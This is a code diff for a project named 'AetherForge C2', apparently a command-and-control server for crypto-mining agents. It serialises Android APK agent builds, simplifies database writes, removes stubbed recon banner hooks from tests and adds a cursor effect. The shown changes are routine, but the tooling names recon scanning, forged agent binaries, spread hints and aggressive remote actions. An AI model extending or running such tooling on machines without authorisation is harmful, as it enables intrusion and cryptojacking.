+			h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)

 			broadcast := map[string]interface{}{
 				"agent_id":         agentID,
@@ -1985,48 +1980,6 @@ func (h *WSHub) flushStatsBatch() {
 	})
 }

-// queueHashrateSample accumulates hashrate samples for batch insertion.
-// Flushes every 5 seconds or when 500 samples accumulate.
-func (h *WSHub) queueHashrateSample(agentID string, hashrate float64, gpuHashrate float64) {
-	h.hashrateBatchMu.Lock()
-	defer h.hashrateBatchMu.Unlock()
-
-	h.hashrateBatch = append(h.hashrateBatch, db.HashrateSample{
-		AgentID:     agentID,
-		Hashrate:    hashrate,
-		GPUHashrate: gpuHashrate,
-	})
-
-	// Flush if batch reaches 500 samples (typical for 500 agents).
-	if len(h.hashrateBatch) >= 500 {
-		go h.flushHashrateBatch()
-		return
-	}
-
-	// Start timer on first sample.
-	if h.hashrateBatchTimer == nil {
-		h.hashrateBatchTimer = time.AfterFunc(5*time.Second, h.flushHashrateBatch)
-	}
-}
-
-func (h *WSHub) flushHashrateBatch() {
-	h.hashrateBatchMu.Lock()
-	batch := h.hashrateBatch
-	h.hashrateBatch = nil
-	if h.hashrateBatchTimer != nil {
-		h.hashrateBatchTimer.Stop()
-		h.hashrateBatchTimer = nil
-	}
-	h.hashrateBatchMu.Unlock()
-
-	if len(batch) == 0 || h.db == nil {
-		return
-	}
-	if err := h.db.BatchInsertHashrateSamples(batch); err != nil {
-		log.Printf("[hashrate-batch] flush failed: %v", err)
-	}
-}
-
 func (h *WSHub) broadcastDashboard(msg Message) {
 	h.mu.RLock()
 	defer h.mu.RUnlock()
--- a/server/internal/api/ws_types_test.go
+++ b/server/internal/api/ws_types_test.go
@@ -9,40 +9,12 @@ import (
 	"sort"
 	"strings"
 	"testing"
-
-	"crypto-miner-server/internal/recon"
 )

 var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")

 func TestMain(m *testing.M) {
 	flag.Parse()
-	// Enable AI control endpoints for the duration of the API tests
-	os.Setenv("AETHERFORGE_ENABLE_AI_CONTROL", "1")
-	// Stub banner hooks to avoid any real network requests during scans
-	recon.SetBannerHooks(
-		func(host string, port int) string {
-			if port == 22 {
-				return "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5"
-			}
-			return ""
-		},
-		func(host string, port int) (string, string) {
-			if port == 80 || port == 443 || port == 8080 {
-				return "Test Title", "nginx/1.18.0"
-			}
-			return "", ""
-		},
-		func(host string, port int) string {
-			if port == 5985 {
-				return "winrm_listening"
-			}
-			return ""
-		},
-		func() bool {
-			return false
-		},
-	)
 	os.Exit(m.Run())
 }

--- a/server/internal/builder/build_apk.go
+++ b/server/internal/builder/build_apk.go
@@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string {

 // buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
 func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
+	h.apkBuildMu.Lock()
+	defer h.apkBuildMu.Unlock()
+
 	if req.ScoutMode {
 		ApplyApkScoutPreset(req)
 	} else {
@@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
 	}
 	h.setProgress(req.CancelToken, "Saving to database", 99)
 	if err := h.db.InsertBuild(buildRecord); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
 	}

--- a/server/internal/builder/build_apk_test.go
+++ b/server/internal/builder/build_apk_test.go
@@ -3,10 +3,13 @@ package builder
 import (
 	"context"
 	"encoding/json"
+	"fmt"
 	"os"
 	"path/filepath"
 	"strings"
+	"sync"
 	"testing"
+	"time"
 )

 func TestApplyApkScoutPreset(t *testing.T) {
@@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
 		t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
 	}
 }
+
+func TestBuildAPKAgentConcurrency(t *testing.T) {
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	setFakeGoSuccess(t, h)
+
+	androidDir := filepath.Join(h.projectRoot, "android")
+	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	// Channel to coordinate/delay the mock builds to assert serialization
+	inBuildChan := make(chan struct{}, 2)
+	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
+		inBuildChan <- struct{}{}
+		// Wait a small duration to keep the lock held, letting another call try to acquire it
+		time.Sleep(50 * time.Millisecond)
+		apk := filepath.Join(buildDir, "agent-app-debug.apk")
+		if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
+			return "", err
+		}
+		return apk, nil
+	}
+
+	var wg sync.WaitGroup
+	wg.Add(2)
+	for i := 0; i < 2; i++ {
+		go func(id int) {
+			defer wg.Done()
+			req := &BuildRequest{
+				WorkerName:  fmt.Sprintf("node-%d", id),
+				ServerURL:   "http://10.0.0.1:8989",
+				CancelToken: fmt.Sprintf("cancel-token-%d", id),
+				ApkMode:     true,
+			}
+			resp, code, _ := h.buildAPKAgent(context.Background(), req)
+			if code != 200 || !resp.Success {
+				t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
+			}
+		}(i)
+	}
+
+	wg.Wait()
+	close(inBuildChan)
+
+	// Since they are serialized, they should execute one after the other.
+	if len(inBuildChan) != 2 {
+		t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
+	}
+}
+
+func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
+	h, database := testHandlerDB(t)
+	// We close the database immediately so that InsertBuild fails
+	_ = database.Close()
+
+	setFakeGoSuccess(t, h)
+
+	androidDir := filepath.Join(h.projectRoot, "android")
+	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
+		apk := filepath.Join(buildDir, "agent-app-debug.apk")
+		if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
+			return "", err
+		}
+		return apk, nil
+	}
+
+	req := &BuildRequest{
+		WorkerName:  "cleanup-node",
+		ServerURL:   "http://10.0.0.1:8989",
+		CancelToken: "cleanup-test-token",
+		ApkMode:     true,
+	}
+
+	// Capture existing files in builds dir
+	buildsDir := filepath.Join(h.dataDir, "builds")
+	_ = os.MkdirAll(buildsDir, 0755)
+
+	resp, code, _ := h.buildAPKAgent(context.Background(), req)
+	if resp.Success || code == 200 {
+		t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
+	}
+
+	// Verify that the build directory under builds/ was cleaned up
+	files, err := os.ReadDir(buildsDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(files) != 0 {
+		var names []string
+		for _, f := range files {
+			names = append(names, f.Name())
+		}
+		t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
+	}
+}
+
--- a/server/internal/builder/handler.go
+++ b/server/internal/builder/handler.go
@@ -232,8 +232,12 @@ type Handler struct {

 	// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
 	apkBuildFn ApkBuildFunc
+
+	// apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs.
+	apkBuildMu sync.Mutex
 }

+
 // SetFleetSecret stores the fleet secret so it is baked into every forged binary.
 func (h *Handler) SetFleetSecret(secret string) {
 	h.fleetSecret = secret
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -28,10 +28,9 @@ func New(dataDir string) (*Database, error) {
 	if err != nil {
 		return nil, fmt.Errorf("failed to open database: %w", err)
 	}
-	// With WAL mode enabled, multiple readers + single writer is safe.
-	// Pooling 4 connections reduces contention on the write queue under agent stat storms.
-	db.SetMaxOpenConns(4)
-	db.SetMaxIdleConns(1)
+	// SQLite only supports one concurrent writer; a single open connection
+	// avoids WAL write-lock contention and SQLITE_BUSY under load.
+	db.SetMaxOpenConns(1)

 	d := &Database{db}
 	if err := d.migrate(); err != nil {
@@ -491,39 +490,6 @@ func (d *Database) InsertHashrateSample(agentID string, hashrate float64, gpuHas
 	return err
 }

-// HashrateSample holds a single hashrate sample for batch insertion.
-type HashrateSample struct {
-	AgentID     string
-	Hashrate    float64
-	GPUHashrate float64
-}
-
-func (d *Database) BatchInsertHashrateSamples(samples []HashrateSample) error {
-	if len(samples) == 0 {
-		return nil
-	}
-	tx, err := d.Begin()
-	if err != nil {
-		return err
-	}
-	defer tx.Rollback()
-
-	stmt, err := tx.Prepare(
-		"INSERT INTO hashrate_samples (agent_id, hashrate, gpu_hashrate, timestamp) VALUES (?, ?, ?, ?)")
-	if err != nil {
-		return err
-	}
-	defer stmt.Close()
-
-	now := time.Now()
-	for _, s := range samples {
-		if _, err := stmt.Exec(s.AgentID, s.Hashrate, s.GPUHashrate, now); err != nil {
-			return err
-		}
-	}
-	return tx.Commit()
-}
-
 func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.HashrateSample, error) {
 	query := `SELECT id, agent_id, hashrate, gpu_hashrate, timestamp FROM hashrate_samples WHERE agent_id = ? ORDER BY timestamp DESC LIMIT ?`
 	rows, err := d.Query(query, agentID, limit)
--- a/server/internal/recon/recon_stream_test.go
+++ b/server/internal/recon/recon_stream_test.go
@@ -29,13 +29,6 @@ func TestScanStreamEmitsPortsFirst(t *testing.T) {
 		return 200, `<html><title>Home</title></html>`, nil
 	})
 	t.Cleanup(func() { SetFetchPageHook(nil) })
-	SetBannerHooks(
-		func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
-		func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
-		func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
-		nil,
-	)
-	t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })

 	var events []string
 	report, err := ScanStream(ScanRequest{Host: "stream.lab", Profile: ProfileQuick, Port: 80, Scheme: "http"}, "scan-1", func(eventType string, _ map[string]interface{}) {
--- a/server/internal/recon/recon_test.go
+++ b/server/internal/recon/recon_test.go
@@ -143,13 +143,6 @@ func TestScanOwnedTarget(t *testing.T) {
 		return 200, `<html><form enctype="multipart/form-data"><input type="file" name="f"></form></html>`, nil
 	})
 	t.Cleanup(func() { SetFetchPageHook(nil) })
-	SetBannerHooks(
-		func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
-		func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
-		func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
-		nil,
-	)
-	t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })
 	report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"})
 	if err != nil {
 		t.Fatal(err)
@@ -268,13 +261,6 @@ func TestScanReportIncludesAdminSurfaceJSON(t *testing.T) {
 		return resp.StatusCode, body, nil
 	})
 	t.Cleanup(func() { SetFetchPageHook(nil) })
-	SetBannerHooks(
-		func(_ string, p int) string { if p == 22 { return "SSH" }; return "" },
-		func(_ string, p int) (string, string) { if p == 80 { return "t", "s" }; return "", "" },
-		func(_ string, p int) string { if p == 5985 { return "w" }; return "" },
-		nil,
-	)
-	t.Cleanup(func() { SetBannerHooks(nil, nil, nil, nil) })
 	report, err := Scan(ScanRequest{Host: u.Hostname(), Port: port, Scheme: u.Scheme})
 	if err != nil {
 		t.Fatal(err)
--- a/server/main.go
+++ b/server/main.go
@@ -1,4 +1,4 @@
-package main
+package main

 import (
 	"context"
@@ -68,6 +68,9 @@ func main() {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
 	log.Println("AetherForge C2 starting...")

+	ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
+	defer stop()
+
 	projectRoot := findProjectRoot()
 	cfg := LoadConfig()
 	log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
@@ -278,8 +281,13 @@ func main() {
 	go func() {
 		ticker := time.NewTicker(15 * time.Second)
 		defer ticker.Stop()
-		for range ticker.C {
+		for {
+			select {
+			case <-ticker.C:
 				wsHub.BroadcastPoolStatus(poolManager.ListStatus())
+			case <-ctx.Done():
+				return
+			}
 		}
 	}()

@@ -398,10 +406,13 @@ func main() {

 	// Start server
 	addr := fmt.Sprintf(":%d", cfg.Port)
-	srv := &http.Server{Addr: addr, Handler: router}
-
-	ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
-	defer stop()
+	srv := &http.Server{
+		Addr:         addr,
+		Handler:      router,
+		ReadTimeout:  30 * time.Second,
+		WriteTimeout: 60 * time.Second,
+		IdleTimeout:  120 * time.Second,
+	}

 	log.Printf("Server listening on %s", addr)
 	log.Printf("Open http://localhost:%d in your browser", cfg.Port)
@@ -564,12 +575,11 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
 		return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
 	}

-	// Determine which top-level keys were explicitly present in the JSON payload.
-	// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
-	// from the payload is treated as "not changed", not "set to false".
 	var presentKeys map[string]json.RawMessage
 	_ = json.Unmarshal(data, &presentKeys)

+	hydrateLegacyAIConfig(&incoming, data)
+
 	mergeConfigExplicit(p.config, &incoming, presentKeys)

 	// Save to disk
--- a/server/main_test.go
+++ b/server/main_test.go
@@ -85,23 +85,6 @@ func TestFindAgentSourceDir(t *testing.T) {

 func TestFindWebRoot(t *testing.T) {
 	dir := findWebRoot()
-	var tempCreated string
-	if dir == "" {
-		_ = os.MkdirAll("webroot", 0755)
-		tempFile := filepath.Join("webroot", "index.html")
-		if err := os.WriteFile(tempFile, []byte("dummy"), 0644); err == nil {
-			tempCreated = tempFile
-		}
-		dir = findWebRoot()
-	}
-
-	if tempCreated != "" {
-		t.Cleanup(func() {
-			_ = os.Remove(tempCreated)
-			_ = os.Remove(filepath.Dir(tempCreated))
-		})
-	}
-
 	if dir == "" {
 		t.Fatal("findWebRoot returned empty string")
 	}
@@ -111,7 +94,6 @@ func TestFindWebRoot(t *testing.T) {
 	}
 }

-
 func TestServerConfigProviderPublicURL(t *testing.T) {
 	cfg := DefaultConfig()
 	cfg.Server.PublicURL = "https://forge.example"
--- a/server/web/src/components/Fleet/AccessDepthPanel.tsx
+++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useMemo, useRef, useState, memo } from 'react';
+import { useEffect, useMemo, useRef, useState } from 'react';
 import { Link } from 'react-router-dom';
 import { api } from '../../api/client';
 import {
@@ -72,7 +72,7 @@ function AttemptMiniList({
  );
 }

-function AccessDepthPanel({ agent, diagnostics }: Props) {
+export default function AccessDepthPanel({ agent, diagnostics }: Props) {
  const { latestMessage } = useWebSocket();
  const [policyLoaded, setPolicyLoaded] = useState(false);
  const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
@@ -440,5 +440,3 @@ function AccessDepthPanel({ agent, diagnostics }: Props) {
    </section>
  );
 }
-
-export default memo(AccessDepthPanel);
--- a/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
+++ b/server/web/src/components/Fleet/ConnectedNotMiningBanner.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useRef, memo } from 'react';
+import { useEffect, useRef } from 'react';
 import { Link } from 'react-router-dom';
 import type { Agent } from '../../types';
 import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
@@ -13,7 +13,7 @@ interface Props {
 const AUTO_RESTART_MS = 60_000;

 /** Banner when agents are online but not hashing — with actionable fix buttons. */
-function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
+export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
  const stuck = agentsConnectedNotHashing(agents);
  const firstSeenRef = useRef<Map<string, number>>(new Map());
  const autoRestartedRef = useRef<Set<string>>(new Set());
@@ -107,5 +107,3 @@ function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
    </div>
  );
 }
-
-export default memo(ConnectedNotMiningBanner);
--- a/server/web/src/components/Fleet/CrucibleAgentMeta.tsx
+++ b/server/web/src/components/Fleet/CrucibleAgentMeta.tsx
@@ -1,4 +1,4 @@
-import { useState, useEffect, memo } from 'react';
+import { useState, useEffect } from 'react';
 import { api } from '../../api/client';
 import type { Agent } from '../../types';
 import { HelpTip } from '../HelpTip';
@@ -9,7 +9,7 @@ interface Props {
  requestDeleteConfirm?: (req: { count: number; agentName?: string }) => Promise<boolean>;
 }

-function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfirm }: Props) {
+export default function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfirm }: Props) {
  const [notesDraft, setNotesDraft] = useState(agent.notes || '');
  const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
  const [saving, setSaving] = useState(false);
@@ -140,5 +140,3 @@ function CrucibleAgentMeta({ agent, onUpdated, requestDeleteConfirm }: Props) {
    </div>
  );
 }
-
-export default memo(CrucibleAgentMeta);
--- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
+++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx
@@ -1,4 +1,4 @@
-import { useState, useEffect, useRef, useCallback, memo } from 'react';
+import { useState, useEffect, useRef, useCallback } from 'react';
 import { api } from '../../api/client';
 import type { Agent, Build } from '../../types';
 import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
@@ -50,7 +50,7 @@ interface Props {
  onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
 }

-function CrucibleExpandedOps({
+export default function CrucibleExpandedOps({
  activeTab,
  spreadHostHint = '',
  selectedAgents,
@@ -118,6 +118,10 @@ function CrucibleExpandedOps({
    }
  }, [singleSelectedAgent?.mac_address, wolMac]);

+  useEffect(() => {
+    setLiveDesktop(false);
+  }, [singleSelectedAgent?.id]);
+
  const dispatchOne = useCallback(
    async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
      try {
@@ -957,5 +961,3 @@ function CrucibleExpandedOps({

  return null;
 }
-
-export default memo(CrucibleExpandedOps);
--- a/server/web/src/components/Fleet/FleetGroupsStrip.tsx
+++ b/server/web/src/components/Fleet/FleetGroupsStrip.tsx
@@ -1,4 +1,3 @@
-import { memo } from 'react';
 import type { FleetGroup } from '../../help/fleetGroups';
 import { HelpTip } from '../HelpTip';
 import './FleetGroupsStrip.css';
@@ -12,7 +11,7 @@ interface Props {
  selectedCount?: number;
 }

-function FleetGroupsStrip({
+export default function FleetGroupsStrip({
  groups,
  liveAgentIds,
  onSelectGroup,
@@ -81,5 +80,3 @@ function FleetGroupsStrip({
    </div>
  );
 }
-
-export default memo(FleetGroupsStrip);
--- a/server/web/src/components/Fleet/FleetHeatMiniMap.tsx
+++ b/server/web/src/components/Fleet/FleetHeatMiniMap.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useMemo, useRef, useState, memo } from 'react';
+import { useEffect, useMemo, useRef, useState } from 'react';
 import type { Agent } from '../../types';
 import type { FleetGroup } from '../../help/fleetGroups';
 import { formatHashrate } from '../../help/fleetFilters';
@@ -22,7 +22,7 @@ interface FleetHeatMiniMapProps {
  onSelectAgent: (id: string) => void;
 }

-function FleetHeatMiniMap({
+export default function FleetHeatMiniMap({
  agents,
  groups,
  allIds,
@@ -170,5 +170,3 @@ function FleetHeatMiniMap({
    </div>
  );
 }
-
-export default memo(FleetHeatMiniMap);
--- a/server/web/src/components/Fleet/FleetToolbar.tsx
+++ b/server/web/src/components/Fleet/FleetToolbar.tsx
@@ -1,4 +1,3 @@
-import { memo } from 'react';
 import type { FleetFilterState } from '../../help/fleetFilters';
 import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
 import type { Agent } from '../../types';
@@ -18,7 +17,7 @@ interface Props {
  bulkBusy: boolean;
 }

-function FleetToolbar({
+export default function FleetToolbar({
  agents,
  filters,
  onChange,
@@ -144,5 +143,3 @@ function FleetToolbar({
    </div>
  );
 }
-
-export default memo(FleetToolbar);
--- a/server/web/src/components/Fleet/FullSysCheckPanel.tsx
+++ b/server/web/src/components/Fleet/FullSysCheckPanel.tsx
@@ -1,4 +1,4 @@
-import { memo, type ReactNode } from 'react';
+import type { ReactNode } from 'react';
 import type { FullSysCheckReport } from '../../types/syscheck';
 import './FullSysCheckPanel.css';

@@ -26,7 +26,7 @@ function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; n
  return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
 }

-function FullSysCheckPanel({
+export default function FullSysCheckPanel({
  report,
  agentName,
  onClose,
@@ -288,5 +288,3 @@ function FullSysCheckPanel({
    </div>
  );
 }
-
-export default memo(FullSysCheckPanel);
--- a/server/web/src/components/Layout/Layout.tsx
+++ b/server/web/src/components/Layout/Layout.tsx
@@ -348,9 +348,10 @@ export default function Layout({ children }: LayoutProps) {

  return (
    <div
-      className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
+      className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}${!isMobile && glowParticles ? ' layout--hacker-cursor' : ''}`}
      data-operator-deck={operatorDeckId(location.pathname)}
    >
+      {!isMobile && glowParticles && <CursorFire />}
      <AmbientBackground weather={pageWeather} />
      {glowParticles && <SacredGeometryLayer />}
      <nav className="sidebar sidebar--desktop desktop-only">
--- a/server/web/src/components/Visual/CursorFire.css
+++ b/server/web/src/components/Visual/CursorFire.css
@@ -7,7 +7,7 @@
 }

 .layout--hacker-cursor {
-  cursor: default;
+  cursor: crosshair;
 }

 .layout--hacker-cursor a,
--- a/server/web/src/components/Visual/CursorFire.tsx
+++ b/server/web/src/components/Visual/CursorFire.tsx
@@ -1,3 +1,157 @@
-export default function CursorFire() {
-  return null;
+import { useEffect, useRef } from 'react';
+import './CursorFire.css';
+
+const BIT_CHARS = '01';
+const HEX_CHARS = '0123456789ABCDEF';
+const MAX_PARTICLES = 480;
+const EMIT_PER_FRAME = 12;
+const EMIT_WINDOW_MS = 140;
+const FONT_STACK = '"JetBrains Mono", "Fira Code", "Cascadia Code", monospace';
+
+interface Particle {
+  x: number;
+  y: number;
+  vx: number;
+  vy: number;
+  life: number;
+  decay: number;
+  char: string;
+  fontSize: number;
+  tint: 'cyan' | 'green';
+}
+
+function pickChar(): string {
+  if (Math.random() < 0.88) return BIT_CHARS[Math.floor(Math.random() * 2)];
+  return HEX_CHARS[Math.floor(Math.random() * HEX_CHARS.length)];
+}
+
+function colorForLife(life: number, tint: Particle['tint']): string {
+  const a = Math.min(1, life * 1.05);
+  if (tint === 'cyan') {
+    if (life > 0.5) return `rgba(0, 255, 255, ${a})`;
+    return `rgba(0, 240, 200, ${a * 0.92})`;
+  }
+  if (life > 0.5) return `rgba(80, 255, 160, ${a})`;
+  return `rgba(0, 255, 120, ${a * 0.9})`;
+}
+
+function glowForTint(tint: Particle['tint']): string {
+  return tint === 'cyan' ? '#00e8f5' : '#00ff88';
+}
+
+export default function CursorFire() {
+  const canvasRef = useRef<HTMLCanvasElement>(null);
+  const particles = useRef<Particle[]>([]);
+  const mouse = useRef({ x: -9999, y: -9999 });
+  const lastMoveRef = useRef(0);
+  const rafRef = useRef(0);
+
+  useEffect(() => {
+    const motionQuery = window.matchMedia('(prefers-reduced-motion: reduce)');
+    if (motionQuery.matches) return;
+
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    const ctx = canvas.getContext('2d');
+    if (!ctx) return;
+
+    let running = true;
+
+    const resize = () => {
+      const dpr = Math.min(window.devicePixelRatio || 1, 2);
+      const w = window.innerWidth;
+      const h = window.innerHeight;
+      canvas.width = Math.floor(w * dpr);
+      canvas.height = Math.floor(h * dpr);
+      canvas.style.width = `${w}px`;
+      canvas.style.height = `${h}px`;
+      ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
+    };
+    resize();
+    window.addEventListener('resize', resize);
+
+    const onMove = (e: MouseEvent) => {
+      mouse.current = { x: e.clientX, y: e.clientY };
+      lastMoveRef.current = performance.now();
+    };
+    window.addEventListener('mousemove', onMove, { passive: true });
+
+    const stopOnReducedMotion = () => {
+      if (!motionQuery.matches) return;
+      running = false;
+      cancelAnimationFrame(rafRef.current);
+      particles.current = [];
+      ctx.clearRect(0, 0, canvas.width, canvas.height);
+    };
+    motionQuery.addEventListener('change', stopOnReducedMotion);
+
+    const emit = () => {
+      if (performance.now() - lastMoveRef.current > EMIT_WINDOW_MS) return;
+      const { x, y } = mouse.current;
+
+      for (let i = 0; i < EMIT_PER_FRAME; i++) {
+        const spread = 14;
+        particles.current.push({
+          x: x + (Math.random() - 0.5) * spread,
+          y: y + (Math.random() - 0.5) * (spread * 0.45),
+          vx: (Math.random() - 0.5) * 1.8,
+          vy: -(Math.random() * 3.2 + 2.1),
+          life: 1,
+          decay: Math.random() * 0.016 + 0.012,
+          char: pickChar(),
+          fontSize: Math.random() * 16 + 16,
+          tint: Math.random() < 0.5 ? 'cyan' : 'green',
+        });
+      }
+
+      if (particles.current.length > MAX_PARTICLES) {
+        particles.current = particles.current.slice(-MAX_PARTICLES);
+      }
+    };
+
+    const draw = () => {
+      if (!running) return;
+      ctx.clearRect(0, 0, canvas.width, canvas.height);
+      emit();
+
+      const alive: Particle[] = [];
+      for (const p of particles.current) {
+        p.vx += (Math.random() - 0.5) * 0.28;
+        p.vx *= 0.96;
+        p.vy -= 0.035;
+        p.x += p.vx;
+        p.y += p.vy;
+        p.life -= p.decay;
+        p.fontSize *= 0.985;
+
+        if (p.life <= 0 || p.fontSize < 8) continue;
+        alive.push(p);
+
+        const glow = 10 + p.life * 18;
+        ctx.shadowBlur = glow;
+        ctx.shadowColor = glowForTint(p.tint);
+        ctx.font = `600 ${p.fontSize}px ${FONT_STACK}`;
+        ctx.textAlign = 'center';
+        ctx.textBaseline = 'middle';
+        ctx.fillStyle = colorForLife(p.life, p.tint);
+        ctx.fillText(p.char, p.x, p.y);
+      }
+
+      ctx.shadowBlur = 0;
+      particles.current = alive;
+      rafRef.current = requestAnimationFrame(draw);
+    };
+
+    rafRef.current = requestAnimationFrame(draw);
+
+    return () => {
+      running = false;
+      cancelAnimationFrame(rafRef.current);
+      window.removeEventListener('resize', resize);
+      window.removeEventListener('mousemove', onMove);
+      motionQuery.removeEventListener('change', stopOnReducedMotion);
+    };
+  }, []);
+
+  return <canvas ref={canvasRef} className="cursor-hacker-fx" aria-hidden="true" />;
 }
--- a/server/web/src/components/components.test.tsx
+++ b/server/web/src/components/components.test.tsx
@@ -907,10 +907,29 @@ describe('AmbientBackground', () => {
 describe('CursorFire', () => {
  afterEach(() => cleanup());

-  it('returns null as cursor particle effects are disabled', () => {
+  it('mounts fullscreen hacker-trail canvas', () => {
    const { container } = render(<CursorFire />);
    const canvas = container.querySelector('canvas.cursor-hacker-fx');
-    expect(canvas).toBeNull();
+    expect(canvas).toBeTruthy();
+    expect(canvas).toHaveAttribute('aria-hidden', 'true');
+  });
+
+  it('skips animation loop when prefers-reduced-motion', () => {
+    const rafSpy = vi.spyOn(window, 'requestAnimationFrame');
+    const matchMediaSpy = vi.spyOn(window, 'matchMedia').mockReturnValue({
+      matches: true,
+      media: '(prefers-reduced-motion: reduce)',
+      onchange: null,
+      addListener: vi.fn(),
+      removeListener: vi.fn(),
+      addEventListener: vi.fn(),
+      removeEventListener: vi.fn(),
+      dispatchEvent: vi.fn(),
+    });
+    render(<CursorFire />);
+    expect(rafSpy).not.toHaveBeenCalled();
+    matchMediaSpy.mockRestore();
+    rafSpy.mockRestore();
  });
 });

@@ -971,7 +990,7 @@ describe('Layout', () => {
    expect(screen.getByRole('link', { name: /Onion/i })).toBeInTheDocument();
  });

-  it('mounts MatrixRain on Command Deck only', async () => {
+  it('mounts MatrixRain on Command Deck only and CursorFire on all desktop deck pages', async () => {
    const { container: deck } = render(
      <MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
        <Layout>
@@ -981,6 +1000,7 @@ describe('Layout', () => {
    );
    await waitFor(() => {
      expect(deck.querySelector('.matrix-rain-canvas')).toBeTruthy();
+      expect(deck.querySelector('.cursor-hacker-fx')).toBeTruthy();
    });
    cleanup();

@@ -995,5 +1015,7 @@ describe('Layout', () => {
      expect(screen.getByText('crucible')).toBeInTheDocument();
    });
    expect(crucible.querySelector('.matrix-rain-canvas')).toBeNull();
+    expect(crucible.querySelector('.cursor-hacker-fx')).toBeTruthy();
+    expect(crucible.querySelector('.layout--hacker-cursor')).toBeTruthy();
  });
 });
--- a/server/web/src/help/fleetGroups.test.ts
+++ b/server/web/src/help/fleetGroups.test.ts
@@ -37,4 +37,21 @@ describe('fleetGroups', () => {
    saveFleetGroups(groups);
    expect(loadFleetGroups()).toHaveLength(2);
  });
+
+  it('generates unique fallback IDs for loaded groups missing an ID', () => {
+    // Manually saving raw JSON objects without IDs to simulate legacy state
+    const rawGroups = [
+      { name: 'Legacy Group 1', color: '#ff0000', agentIds: [] },
+      { name: 'Legacy Group 2', color: '#00ff00', agentIds: [] },
+    ];
+    localStorage.setItem('aetherforge_fleet_groups', JSON.stringify(rawGroups));
+
+    const loaded = loadFleetGroups();
+    expect(loaded).toHaveLength(2);
+    expect(loaded[0].id).toBeDefined();
+    expect(loaded[1].id).toBeDefined();
